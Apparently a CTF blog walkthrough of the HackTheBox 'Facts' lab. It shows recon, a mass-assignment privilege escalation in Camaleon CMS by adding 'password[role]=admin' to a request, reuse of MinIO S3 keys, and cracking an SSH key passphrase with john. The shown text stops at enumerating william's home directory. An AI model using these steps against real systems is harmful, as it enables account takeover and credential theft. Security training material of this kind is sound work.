0xdf hacks stuff

HTB: Facts

2026-06-06T13:45:00+00:00

Facts is a Linux box hosting a trivia website built on the Camaleon CMS, a Ruby on Rails application. I’ll abuse a mass assignment vulnerability in Camaleon to promote my account to administrator, then use credentials from the admin panel to authenticate to a local MinIO S3 service. From the bucket I’ll grab an encrypted SSH private key, crack its passphrase with john, and SSH in as the next user. For root, I’ll abuse a sudo rule on facter, Puppet’s system inventory tool, that lets me load arbitrary Ruby code from a custom facts directory and run it as root. In Beyond Root, I’ll show an alternative foothold using a path traversal in Camaleon’s S3 uploader to read arbitrary files, and use the leaked Rails master key to decrypt the application’s encrypted credentials and session cookies.

Box Info

Facts

Easy

Release Date 31 Jan 2026

Retire Date 06 Jun 2026

OS Linux

Rated Difficulty

Radar Graph

User

00:15:52

Root

00:26:34

Creator

Recon

Initial Scanning

nmap finds three open TCP ports, SSH (22) and two HTTP (80, 54321):

oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.244.96
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-28 01:19 UTC
Nmap scan report for 10.129.244.96
Host is up, received reset ttl 63 (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
54321/tcp open  unknown syn-ack ttl 62

Nmap done: 1 IP address (1 host up) scanned in 7.11 seconds
oxdf@hacky$ sudo nmap -p 22,80,54321 -sCV 10.129.244.96
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-28 01:20 UTC
Nmap scan report for 10.129.244.96
Host is up (0.021s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
|_http-server-header: nginx/1.26.3 (Ubuntu)
54321/tcp open  unknown
| fingerprint-strings:
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B396009572E4FA
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Thu, 28 May 2026 01:20:06 GMT
|     
|     InvalidRequestInvalid Request (invalid argument)/18B396009572E4FAdd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Thu, 28 May 2026 01:20:07 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.94SVN%I=7%D=5/28%Time=6A179847%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\
SF:nAccept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20
SF:application/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20ma
SF:x-age=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\
SF:x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\n
SF:X-Amz-Request-Id:\x2018B396009572E4FA\r\nX-Content-Type-Options:\x20nos
SF:niff\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Thu,\x2028\x2
SF:0May\x202026\x2001:20:06\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20en
SF:coding=\"UTF-8\"\?>\nInvalidRequestInvalid
SF:\x20Request\x20\(invalid\x20argument\)/<
SF:RequestId>18B396009572E4FAdd9025bab4ad464b049177c95
SF:eb6ebf374d3b3fd1af9251148b658df7ac2e3e8")%r(HTTPOption
SF:s,59,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Thu,\x2028\
SF:x20May\x202026\x2001:20:07\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(R
SF:TSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20
SF:close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.29 seconds

Based on the OpenSSH and Nginx versions, the host is likely running Ubuntu 25.04 Plucky.

There’s one additional hop to get to the webserver on port 54321:

oxdf@hacky$ sudo lft 10.129.244.96:80
Tracing ...T
TTL LFT trace to 10.129.244.96:80/tcp
 1  10.10.14.1 20.4ms
 2  [target open] 10.129.244.96:80 21.1ms
oxdf@hacky$ sudo lft 10.129.244.96:54321
Tracing .....T
TTL LFT trace to 10.129.244.96:54321/tcp
 1  10.10.14.1 20.9ms
 2  10.129.244.96 20.8ms
 3  [target open] 10.129.244.96:54321 22.0ms

That implies it’s running in a container.

The other two ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

There’s a redirect to facts.htb on port 80. I’ll use ffuf to bruteforce for subdomains that respond differently, but not find any. I’ll update my hosts file:

10.129.244.96 facts.htb

I’ll rescan ports 80 and 54321 by hostname rather than IP, but not find anything interesting.

The response headers on 54321 are interesting:

|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 18B3968ACF933232    

These are Amazon headers.

Website - TCP 80

Site

The site is a trivia site:

Clicking “Start Exploring” leads to a fact page:

There’s a search bar that leads to /search?q=:

In the page footer there’s an email address, contact@facts.htb.

Tech Stack

The HTTP response headers show Nginx:

HTTP/1.1 200 OK
Server: nginx/1.26.3 (Ubuntu)
Date: Thu, 28 May 2026 14:11:28 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
plugin_front_cache: TRUE
etag: W/"ec7b9f9ae05e9e7a916fd89aef94bdbe"
cache-control: max-age=0, private, must-revalidate
set-cookie: _factsapp_session=EqcReSnq8LzlTyqcrCPC6vaFop1IY11%2Bv3AoEQIXgb7IcPl3BgBIhIKgtHyCMETEJpeu2qGfN2kWlJCQI4jKE3EQJhaGmXRRpQN%2Bwbtu%2FG%2FB8UcFv98jVxtK7qRLiNSS2YTn9c4wMc5PrT9JqyQm3DZUajxpQ%2BvtZh9DMR19F%2BDtnEzLTIoZOwHQUJhcLs1Yji5zzqafBkPQgmii5zmIM%2FvWqcWJHVu87LzlHuGIUNsbwVwvs7nRRvrOL%2FzYKPgDckkuKrURtVrBKkaWslZNbWfxf2BNl2L2aA%3D%3D--xoveJn%2BSqkJ9L2hb--lzt8APnecnCsWeOIfnf0tQ%3D%3D; path=/; httponly; samesite=lax
x-request-id: 3c289058-124e-437b-9f0a-5c99fd0733b5
x-runtime: 0.038416
Content-Length: 11098

There’s a cookie set, _factsapp_session. It’s URL-encoded, and the decode matches the format for a Ruby on Rails encrypted session cookie:

EqcReSnq8LzlTyqcrCPC6vaFop1IY11%2Bv3AoEQIXgb7IcPl3BgBIhIKgtHyCMETEJpeu2qGfN2kWlJCQI4jKE3EQJhaGmXRRpQN%2Bwbtu%2FG%2FB8UcFv98jVxtK7qRLiNSS2YTn9c4wMc5PrT9JqyQm3DZUajxpQ%2BvtZh9DMR19F%2BDtnEzLTIoZOwHQUJhcLs1Yji5zzqafBkPQgmii5zmIM%2FvWqcWJHVu87LzlHuGIUNsbwVwvs7nRRvrOL%2FzYKPgDckkuKrURtVrBKkaWslZNbWfxf2BNl2L2aA%3D%3D--xoveJn%2BSqkJ9L2hb--lzt8APnecnCsWeOIfnf0tQ%3D%

The give-away is the three sections separated by --:

----

Part 1 (long): AES-256-GCM encrypted session payload (a Marshal/JSON-serialized Ruby hash)
Part 2 xoveJn+SqkJ9L2hb (12 bytes): the GCM IV/nonce
Part 3 lzt8APnecnCsWeOIfnf0tQ== (16 bytes): the GCM authentication tag

/index.* gives the index page, and the 404 page shows as part of the framework:

Wappalyzer doesn’t add anything:

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://facts.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://facts.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
    GET      121l      443w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
    GET      124l      552w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
    GET        0l        0w        0c http://facts.htb/admin => http://facts.htb/admin/login
    GET       69l      448w    30396c http://facts.htb/randomfacts/logopage2.png
    GET       66l      519w    44082c http://facts.htb/randomfacts/primary-question-mark.png
    GET        2l        9w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
    GET        7l       10w      162c http://facts.htb/randomfacts/
    GET        2l       11w      353c http://facts.htb/randomfacts/Reports%20List
    GET        2l       11w      357c http://facts.htb/randomfacts/external%20files
    GET      271l     1166w    19187c http://facts.htb/search
    GET        2l       11w      355c http://facts.htb/randomfacts/Style%20Library
    GET      281l     1177w    19593c http://facts.htb/page
    GET        2l       11w      349c http://facts.htb/randomfacts/modern%20mom
    GET        2l       13w      359c http://facts.htb/randomfacts/neuf%20giga%20photo
    GET        2l       11w      357c http://facts.htb/randomfacts/Web%20References
    GET        2l       11w      349c http://facts.htb/randomfacts/My%20Project
    GET        2l       11w      349c http://facts.htb/randomfacts/Contact%20Us
    GET        2l       11w      351c http://facts.htb/randomfacts/Donate%20Cash
    GET        2l       11w      347c http://facts.htb/randomfacts/Home%20Page
    GET        2l       11w      357c http://facts.htb/randomfacts/Planned%20Giving
    GET        2l       11w      357c http://facts.htb/randomfacts/Press%20Releases
    GET        2l       11w      357c http://facts.htb/randomfacts/Privacy%20Policy
    GET        2l       11w      345c http://facts.htb/randomfacts/Site%20Map
    GET        2l       11w      345c http://facts.htb/randomfacts/About%20Us
    GET        2l       11w      353c http://facts.htb/randomfacts/Bequest%20Gift
    GET        2l       11w      347c http://facts.htb/randomfacts/Gift%20Form
    GET        2l       13w      361c http://facts.htb/randomfacts/Life%20Income%20Gift
    GET        2l       11w      349c http://facts.htb/randomfacts/New%20Folder
    GET        2l       11w      351c http://facts.htb/randomfacts/Site%20Assets
    GET        2l       13w      351c http://facts.htb/randomfacts/What%20is%20New
    GET        1l        4w       73c http://facts.htb/up
    GET      114l      371w     4836c http://facts.htb/~
    GET        1l        2w       33c http://facts.htb/robots
    GET      114l      371w     4836c http://facts.htb/Reports%20List
    GET      114l      574w     7918c http://facts.htb/500
    GET      114l      371w     4836c http://facts.htb/external%20files
    GET      114l      371w     4836c http://facts.htb/%7D
    GET      114l      371w     4836c http://facts.htb/Style%20Library
    GET      114l      371w     4836c http://facts.htb/~joe
    GET      114l      532w     6685c http://facts.htb/400
    GET      114l      371w     4836c http://facts.htb/modern%20mom
    GET      114l      371w     4836c http://facts.htb/neuf%20giga%20photo
    GET      114l      371w     4836c http://facts.htb/%E2%80%8E
    GET      114l      371w     4836c http://facts.htb/[
    GET      114l      371w     4836c http://facts.htb/plain]
    GET      114l      371w     4836c http://facts.htb/fixed!
    GET      114l      371w     4836c http://facts.htb/Anv%C3%A4ndare
    GET      114l      371w     4836c http://facts.htb/!ut
    GET      114l      371w     4836c http://facts.htb/!
    GET      114l      371w     4836c http://facts.htb/Web%20References
    GET      114l      371w     4836c http://facts.htb/My%20Project
    GET      114l      371w     4836c http://facts.htb/]
    GET      114l      371w     4836c http://facts.htb/~chris
    GET      114l      371w     4836c http://facts.htb/Contact%20Us
    GET      114l      371w     4836c http://facts.htb/~a
    GET      114l      371w     4836c http://facts.htb/~admin
    GET      114l      371w     4836c http://facts.htb/~site
    GET      114l      371w     4836c http://facts.htb/%D7%99%D7%9D
    GET      114l      371w     4836c http://facts.htb/!_archives
    GET      114l      371w     4836c http://facts.htb/!_images
    GET      114l      371w     4836c http://facts.htb/!backup
    GET      114l      371w     4836c http://facts.htb/!images
    GET      114l      371w     4836c http://facts.htb/!res
    GET      114l      371w     4836c http://facts.htb/!textove_diskuse
    GET      114l      371w     4836c http://facts.htb/Donate%20Cash
    GET      114l      371w     4836c http://facts.htb/Home%20Page
    GET      114l      371w     4836c http://facts.htb/Planned%20Giving
    GET      114l      371w     4836c http://facts.htb/Press%20Releases
    GET      114l      371w     4836c http://facts.htb/Privacy%20Policy
    GET      114l      371w     4836c http://facts.htb/Site%20Map
    GET      114l      371w     4836c http://facts.htb/~images
    GET      114l      371w     4836c http://facts.htb/~mike
    GET      114l      371w     4836c http://facts.htb/~r
    GET      114l      371w     4836c http://facts.htb/~sys~
    GET      114l      371w     4836c http://facts.htb/%E9%99%A4%E5%80%99%E9%80%89
    GET      114l      371w     4836c http://facts.htb/%E9%99%A4%E6%8A%95%E7%A5%A8
    GET      114l      371w     4836c http://facts.htb/%E4%BE%B5%E6%9D%83
    GET      114l      602w     8380c http://facts.htb/422
    GET      114l      371w     4836c http://facts.htb/quote]
    GET      114l      371w     4836c http://facts.htb/!old
    GET      114l      371w     4836c http://facts.htb/!upload
    GET      114l      371w     4836c http://facts.htb/About%20Us
    GET      114l      371w     4836c http://facts.htb/Bequest%20Gift
    GET      114l      371w     4836c http://facts.htb/Dirk-M%C3%BCller
    GET      114l      371w     4836c http://facts.htb/Thomas-Sch%C3%B6ll
    GET      114l      371w     4836c http://facts.htb/Gift%20Form
    GET      114l      371w     4836c http://facts.htb/Life%20Income%20Gift
    GET      114l      371w     4836c http://facts.htb/New%20Folder
    GET      114l      371w     4836c http://facts.htb/Site%20Assets
    GET      114l      371w     4836c http://facts.htb/What%20is%20New
    GET      114l      371w     4836c http://facts.htb/a0%7D
    GET        1l        3w       14c http://facts.htb/cable
    GET      114l      371w     4836c http://facts.htb/error%1F_log
    GET      114l      371w     4836c http://facts.htb/extension]
    GET      114l      371w     4836c http://facts.htb/~blog
    GET      114l      371w     4836c http://facts.htb/~alex
    GET      114l      371w     4836c http://facts.htb/~chat
    GET      114l      371w     4836c http://facts.htb/~css
    GET      114l      371w     4836c http://facts.htb/~eric
    GET      114l      371w     4836c http://facts.htb/~forum
    GET      114l      371w     4836c http://facts.htb/~gary
    GET      114l      371w     4836c http://facts.htb/~home
    GET      114l      371w     4836c http://facts.htb/~js
    GET      114l      371w     4836c http://facts.htb/~liam
    GET      114l      371w     4836c http://facts.htb/~mark
    GET      114l      371w     4836c http://facts.htb/~tmp
    GET      114l      371w     4836c http://facts.htb/%C4%BC
    GET      114l      371w     4836c http://facts.htb/%CC%A8%C4%BC
    GET      114l      371w     4836c http://facts.htb/%C5%B1%C4%BC
    GET      114l      371w     4836c http://facts.htb/%C4%A3%C4%BC
    GET      114l      371w     4836c http://facts.htb/%DD%BF%C4%BC
    GET      114l      371w     4836c http://facts.htb/%E2%80%9D
    GET      114l      371w     4836c http://facts.htb/%E7%89%B9%E6%AE%8A
    GET      114l      371w     4836c http://facts.htb/%E8%AE%A8%E8%AE%BA
    GET      114l      371w     4836c http://facts.htb/[0-9]
[####################] - 34m    60030/60030   0s      found:112     errors:770
[####################] - 34m    30000/30000   15/s    http://facts.htb/
[####################] - 2m     30000/30000   296/s   http://facts.htb/randomfacts/ 

The most interesting find is /admin.

Admin Panel

Visiting presents a login page:

The page source shows references to Camaleon CMS:

I’ll click the “Create an account” link:

On submitting, it redirects back to the login with a message saying my account was created, and I’ll login:

It doesn’t give access to any admin features, but it confirms it’s Camaleon and the version is 2.9.0.

I can access my user profile via the menu at the top right.

The “Role” field is interesting. I can’t click on it because it’s disabled in the HTML:

I can edit that HTML in the dev tools to remove the disabled="disabled", and it becomes active on the page:

I’ll change it to Administrator and it shows up in the POST body (seen here in Burp Proxy):

Unfortunately, nothing changes on the page return. There must be server-side validation happening.

MinIO - TCP 54321

Visiting / returns a 307 redirect to port 9001:

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html; charset=utf-8
Location: http://facts.htb:9001
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18B3C019B4AABD5C
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Thu, 28 May 2026 14:11:34 GMT
Content-Length: 57

It has the Amz headers, which are Amazon S3 fingerprints. Given HTB machines don’t have internet access, this is almost certainly some local version, like OpenStack or MinIO. Visiting /0xdf to look for a 404 page shows the result:

The headers show the Server is MinIO:

HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 281
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 18B3E41319D2C671
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Date: Fri, 29 May 2026 01:10:48 GMT


InvalidBucketNameThe specified bucket is not valid./v118B3E41319D2C671dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8

MinIO is an open-source, S3-compatible object storage server written in Go. It speaks the same HTTP API as Amazon S3 (including the same XML error bodies and x-amz-* response headers). It’s commonly self-hosted as a drop-in S3 backend for apps that want to store assets, backups, or uploads without depending on AWS. It ships with a web console on TCP 9001 (which explains the redirect on :54321/ to :9001) for managing buckets, users, and policies.

Shell as trivia

MinIO Authentication

Identify CVE

Camaleon 2.9.0 was released on GitHub on 6 Jan 2025:

Just over two months later, 2.9.1 released:

There are two critical security bugs:

There’s a mass assignment privesc vulnerability.
XSS attacks in fields, comments, and metas.

The first one is the more interesting one, and it’s CVE-2025-2304. There’s actually another CVE that wasn’t public at the time of Facts’ release. I’ll look at CVE-2024-46987 / CVE-2026-1776 in Beyond Root.

CVE-2025-2304 Background

NIST describes CVE-2025-2304 as:

A Privilege Escalation through a Mass Assignment exists in Camaleon CMS When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.

This vulnerability was originally reported by Tenable. Their writeup doesn’t give a ton of info, but does have the vulnerable code:

def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

The .permit! method allows all parameters to pass through without filtering.

Exploit

All of the requests involving the user use this user[] structure in POST requests. The body on a login looks like:

authenticity_token=PYE9ch3BeagDhFEpkOCvUkbjbpun6zj5mf0uwUHdi-hgb5MdiGWFFbsN5jfYzVH3D0mX9t7XPQh2LIWse9-1dQ&user%5Busername%5D=0xdf&user%5Bpassword%5D=0xdf

Which URL-decodes to:

authenticity_token=PYE9ch3BeagDhFEpkOCvUkbjbpun6zj5mf0uwUHdi-hgb5MdiGWFFbsN5jfYzVH3D0mX9t7XPQh2LIWse9-1dQ&user[username]=0xdf&user[password]=0xdf

This same pattern is in the profile update, where I tried (and failed) to update my role. That request does show how I would set a user’s role to administrator. The authentication_token looks like another Ruby-encrypted blob.

The mass assignment vulnerability is in the updated_ajax according to the vulnerability. The source also shows that the password parameter is required, which makes sense that it would be the password update function. When I check Burp for the HTTP POST request for that action, it matches (URL-decoded here for readability):

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
...[snip]...

_method=patch&authenticity_token=wluEPR6dBpl1Zk3IKgHoEduQyOcOlO97M1Lznq7vYR8ifkDQDARN9yrvSoj7v1NM6d8kYnfFarLk80U0eHplyQ&password[password]=qwe&password[password_confirmation]=qwe

In the source, the line @user.update(params.require(:password).permit!) says get the password object from the parameters and apply all its fields to the user object. So if I add password[role]=admin, that will apply to my account. I’ll turn on intercept in Burp Proxy, send a password change request, and add that to the end of the body:

After I let that continue, on refreshing my browser, there’s a lot more in the menu bar:

Admin Enumeration

Digging around in the admin pages, a lot of the pages are mostly empty. However, under Settings –> General Site –> Filesystem Settings, the site is configured to use AWS for storage:

It lists the connection information to manage AWS, pointing at MinIO on 54321, and providing auth.

SSH Access

MinIO Enumeration

I’ll use the AWScli (uv tool install awscli) to enumerate the buckets on MinIO. I’ll create a profile using the auth from the CMS admin panel:

oxdf@hacky$ aws configure --profile facts.htb
AWS Access Key ID [None]: AKIA3ADAF4DE0BB0FAA2
AWS Secret Access Key [None]: h4ORDGfkO/GT7pfj/r5Wc9Xa4Girqz59RHABlM4I
Default region name [None]: us-east-1
Default output format [None]: json

Now I can list the buckets:

oxdf@hacky$ aws s3 ls --profile facts.htb --endpoint-url http://facts.htb:54321
2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts

I can also add the endpoint URL to the profile:

oxdf@hacky$ aws configure set endpoint_url http://facts.htb:54321 --profile facts.htb
oxdf@hacky$ aws s3 ls --profile facts.htb 
2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts

I can also save the profile in an environment variable:

oxdf@hacky$ export AWS_PROFILE=facts.htb
oxdf@hacky$ aws s3 ls 
2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts

There are two buckets.

The randomfacts bucket has the same images from the website:

oxdf@hacky$ aws s3 ls randomfacts
                           PRE private/
                           PRE thumb/
2026-05-30 10:59:56      49946 0xdf.png
2025-09-11 12:07:06     446847 animalejected.png
2025-09-11 12:07:06     271210 annefrankasteroid.png
2025-09-11 12:07:06     255778 catsattachment.png
2025-09-11 12:07:05     411597 cuteanimals.png
2025-09-11 12:07:05     177331 darkchocolate.png
2025-09-11 12:07:05     312753 dogscatssmell.png
2025-09-11 12:07:04     922561 dolphinfact.png
2025-09-11 12:07:04      67352 finlandhappiest.png
2025-09-11 12:07:04     388178 firstimpressions.png
2025-09-11 12:07:04     100689 firsttransaction.png
2025-09-11 12:07:03     222436 firstwebcam.png
2025-09-11 12:07:03     128158 georgewashingtonslaves.png
2025-09-11 12:07:03      34816 logopage.png
2025-09-11 12:07:03      16886 logopage2.png
2025-09-11 12:07:02      80796 pressureupbeat.png
2025-09-11 12:07:02      24792 primary-question-mark.png
2025-09-11 12:07:02     341284 smallanimals.png
2025-09-11 12:07:02     332397 superiorpeople.png
2025-09-11 12:07:01      39579 vanilla.png
2025-09-11 12:07:01      35769 youtubewatchhours.png

internal is much more interesting, looking like a home directory:

oxdf@hacky$ aws s3 ls internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 18:45:13        220 .bash_logout
2026-01-08 18:45:13       3900 .bashrc
2026-01-08 18:47:17         20 .lesshst
2026-01-08 18:47:17        807 .profile

.ssh has a private key:

oxdf@hacky$ aws s3 ls internal/.ssh/
2026-05-28 01:18:01         82 authorized_keys
2026-05-28 01:18:01        464 id_ed25519

I’ll grab a copy:

oxdf@hacky$ aws s3 cp s3://internal/.ssh/id_ed25519 id_ed25519
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519 

SSH Key Enumeration

With a typical SSH key, I can see the user by decoding the base64 and looking at the strings:

oxdf@hacky$ cat ~/.ssh/id_ed25519 | grep -v PRIVATE | base64 -d | strings
openssh-key-v1
none
none
ssh-ed25519
ssh-ed25519
oxdf@hacky

I can also see this using ssh-keygen:

oxdf@hacky$ ssh-keygen -yf ~/.ssh/id_ed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPkyAYfMjgZfvFS68umG7+s40x+4Vxit2DpvhmoWJGAw oxdf@hacky

This key is different:

oxdf@hacky$ cat ./id_ed25519 | grep -v PRIVATE | base64 -d | strings
openssh-key-v1
aes256-ctr
bcrypt
ssh-ed25519
:l3'
2r'V
q^px
_Ovo
O^L8

“aes256-ctr” is a signal that it’s encrypted. ssh-keygen confirms:

oxdf@hacky$ ssh-keygen -yf id_ed25519 
Enter passphrase:

This format isn’t in hashcat yet, so I’ll use john:

oxdf@hacky$ /opt/john/run/ssh2john.py id_ed25519 > id_ed25519.hash
oxdf@hacky$ /opt/john/run/john ./id_ed25519.hash --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:33 0.02% (ETA: 2026-06-02 03:59) 0g/s 78.47p/s 78.47c/s 78.47C/s star123..nugget
dragonballz      (id_ed25519)     
1g 0:00:00:41 DONE (2026-05-30 15:07) 0.02395g/s 78.18p/s 78.18c/s 78.18C/s grecia..jeter2
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

It cracks! I can save it without the passphrase:

oxdf@hacky$ ssh-keygen -p -f id_ed25519
Enter old passphrase: 
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

Now I can get the user:

oxdf@hacky$ ssh-keygen -yf id_ed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWYeZZS4gDH8+z1yn1hjRCpUfzY3RiH21fXq9qQIHqV trivia@facts.htb

And login:

oxdf@hacky$ ssh -i ~/keys/facts-trivia trivia@facts.htb
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
...[snip]...
trivia@facts:~$

The OS is Ubuntu 25.04 as predicted above. There’s no user.txt in this directory, but I can read it from the other user’s home directory:

trivia@facts:~$ cat ../william/user.txt
a26ad8d4************************

Shell as root

Enumeration

There isn’t much of interest in trivia’s home directory:

trivia@facts:~$ ls -la
total 36
drwxr-x--- 6 trivia trivia 4096 May 13 13:21 .
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 May 28 01:17 .ssh

.bundle is related to Ruby packages. There is one other user with a home directory in /home:

trivia@facts:/home$ ls
trivia  william
trivia@facts:/home/william$ ls -la
total 24
drwxr-xr-x 2 william william 4096 Jan 26 11:40 .
drwxr-xr-x 4 root    root    4096 Jan  8 17:53 ..
